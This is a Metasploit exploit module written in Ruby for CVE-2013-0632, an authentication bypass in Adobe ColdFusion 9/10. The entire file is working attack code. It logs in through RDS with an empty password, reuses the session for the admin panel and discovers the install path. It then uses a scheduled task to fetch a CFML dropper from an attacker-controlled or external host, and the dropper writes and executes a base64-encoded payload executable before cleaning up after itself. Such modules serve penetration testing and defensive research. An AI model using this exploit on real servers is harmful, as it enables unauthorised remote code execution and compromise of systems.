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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE Rank = GreatRanking def initialize(info = {}) super(update_info(info, 'Name'=> 'Adobe ColdFusion 9 Administrative Login Bypass', 'Description' => %q{ Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote attackers to bypass authentication using the RDS component. Its password can by default or by misconfiguration be set to an empty value. This allows you to create a session via the RDS login that can be carried over to the admin web interface even though the passwords might be different. Therefore bypassing authentication on the admin web interface which then could lead to arbitrary code execution. Tested on Windows and Linux with ColdFusion 9. }, 'Author'=> [ 'Scott Buckel', # Vulnerability discovery 'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ [ "CVE", "2013-0632" ], [ "EDB", "27755" ], [ "URL", "http://www.adobe.com/support/security/bulletins/apsb13-03.html" ] ], 'Privileged'=> false, 'Stance'=> Msf::Exploit::Stance::Aggressive, #thanks juan! 'Platform'=> ['win', 'linux'], 'Targets' => [ [ 'Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'Aug 08 2013' )) register_options( [ OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', "" ]), OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]), ], self.class) register_advanced_options( [ OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE']) ]) end def check uri = target_uri.path #can we access the admin interface? res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'), }) if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/ print_good "#{peer} - Administrator access available" else return Exploit::CheckCode::Safe end #is it cf9? res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg') }) img = Rex::Text.md5(res.body.to_s) imghash = "596b3fc4f1a0b818979db1cf94a82220" if img == imghash print_good "#{peer} - ColdFusion 9 Detected" else return Exploit::CheckCode::Safe end #can we access the RDS component? res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'), 'vars_post' => { 'method' => "login", 'adminpassword' => "", 'rdsPasswordAllowed' => "1" } }) if res and res.code == 200 and res.body.to_s =~ /true/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit @pl = gen_file_dropper @payload_url= "" if datastore['EXTURL'].blank? begin Timeout.timeout(datastore['HTTPDELAY']) {super} rescue Timeout::Error end exec_payload else @payload_url = datastore['EXTURL'] upload_payload exec_payload end end def primer @payload_url = get_uri upload_payload end def on_request_uri(cli, request) if request.uri =~ /#{get_resource}/ send_response(cli, @pl) end end #task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-( #instead we use a CFML filedropper to embed our payload and execute it. #this also removes the dependancy of using the probe.cfm to execute the file. def gen_file_dropper rand_var= rand_text_alpha(8+rand(8)) rand_file = rand_text_alpha(8+rand(8)) if datastore['TARGET'] == 0 rand_file += ".exe" end encoded_pl= Rex::Text.encode_base64(generate_payload_exe) print_status "Building CFML shell..." #embed payload shell = "" shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />" shell += " <cffile action=\"write\" output=\"##{rand_var}#\"" shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\"" #if linux set correct permissions if datastore['TARGET'] == 1 shell += " mode = \"700\"" end shell += "/>" #clean up our evil .cfm shell += " <cffile action=\"delete\"" shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,\"/\")#\"/>" #execute our payload! shell += " <cfexecute" shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\"" shell += " arguments = \"\"" shell += " timeout = \"60\"/>" return shell end def exec_payload uri = target_uri.path print_status("#{peer} - Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}") print_status("#{peer} - Executing payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename) }) end def upload_payload uri = target_uri.path @filename = rand_text_alpha(8+rand(8)) + ".cfm" #numbers is a bad idea taskname = rand_text_alpha(8+rand(8)) #numbers is a bad idea print_status "#{peer} - Trying to upload payload via scheduled task..." res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'), 'vars_post' => { 'method' => "login", 'adminpassword' => "", 'rdsPasswordAllowed' => "1" } }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable") end #deal with annoying cookie data prepending (sunglasses) cookie = res.get_cookies if res and res.code == 200 and cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/ cookie = $1 else fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie") end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'), 'cookie' => cookie }) if res and res.code == 200 and res.body.to_s =~ /ColdFusion Administrator Login/ print_good("#{peer} - Logged in as Administrator!") else fail_with(Failure::Unknown, "#{peer} - Login Failed") end #get file path gogo res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'), 'vars_get' => { 'name' => "/CFIDE" }, 'cookie' => cookie }) unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable") end if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/ file_path = $1 print_good("#{peer} - File path disclosed! #{file_path}") else fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath") end print_status("#{peer} - Adding scheduled task") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'), 'vars_post' => { 'TaskName' => taskname, 'Start_Date' => "Nov 1, 2420", 'End_Date' => "", 'Interval' => "", 'ScheduleType' => "Once", 'Operation' => "HTTPRequest", 'ScheduledURL' => @payload_url, 'publish' => "1", 'publish_file' => "#{file_path}\\#{@filename}", 'adminsubmit' => "Submit" }, 'cookie' => cookie }) unless res and res.code == 200 or res.code == 302 #302s can happen but it still works, http black magic! fail_with(Failure::Unknown, "#{peer} - Scheduled task failed") end print_status("#{peer} - Running scheduled task") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'), 'vars_get' => { 'runtask' => taskname, 'timeout' => "0" }, 'cookie' => cookie }) if res and res.code == 200 and res.body.to_s =~ /This scheduled task was completed successfully/ print_good("#{peer} - Scheduled task completed successfully") else fail_with(Failure::Unknown, "#{peer} - Scheduled task failed") end print_status("#{peer} - Deleting scheduled task") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'), 'vars_get' => { 'action' => "delete", 'task' => taskname }, 'cookie' => cookie }) unless res and res.code == 200 print_error("#{peer} - Scheduled task deletion failed, cleanup might be needed!") end end end |
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